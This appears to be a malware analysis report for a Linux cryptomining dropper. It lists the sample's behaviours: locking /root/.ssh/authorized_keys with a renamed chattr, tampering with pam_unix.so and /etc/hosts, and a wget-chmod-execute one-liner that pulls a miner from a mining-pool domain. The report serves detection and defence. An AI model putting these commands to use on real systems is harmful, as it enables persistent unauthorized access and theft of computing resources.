Technical Information
Malicious functions:
Launches itself as a daemon
Gets access to SSH keys
- /root/.ssh/authorized_keys
Launches processes:
- sh -c /bin/mv /usr/bin/chattr /usr/bin/t
- /bin/mv /usr/bin/chattr /usr/bin/t
- sh -c /usr/bin/t +i /root/.ssh/authorized_keys
- /usr/bin/t +i /root/.ssh/authorized_keys
- sh -c wget -c http://pm.cpuminerpool.com/miner2 -O /tmp/miner2 && chmod 755 /tmp/miner2 && /tmp/miner2
- wget -c http://pm.cpuminerpool.com/miner2 -O /tmp/miner2
- chmod 755 /tmp/miner2
- /tmp/miner2
- sh -c rm -f /etc/hosts.old
- rm -f /etc/hosts.old
Performs operations with the file system:
Modifies file access rights:
- /tmp/miner2
Creates folders:
- /root/.ssh
Creates or modifies files:
- /lib/x86_64-linux-gnu/security/pam_unix.so
- /usr/bin/chattr
- /tmp/miner2
- /etc/hosts
- /var/run/bioset
- /run/bioset
Deletes files:
- /etc/hosts.old
Network activity:
Establishes connection:
- <LOCAL_DNS_SERVER>
- 10#.#8.57.192:0
- 10#.#8.56.192:0
- [2######00:30::6812:38c0]:0
- [2######00:30::6812:39c0]:0
- 37.##.45.174:80
- 88.##.193.240:80
HTTP GET requests:
- pm.#####nerpool.com/miner2
DNS ASK:
- pm.###minerpool.com
- po##.##uminerpool.com
- po##.#inexmr.com
Sends data to the following servers:
- 88.##.193.240:80
Receives data from the following servers:
- 88.##.193.240:80
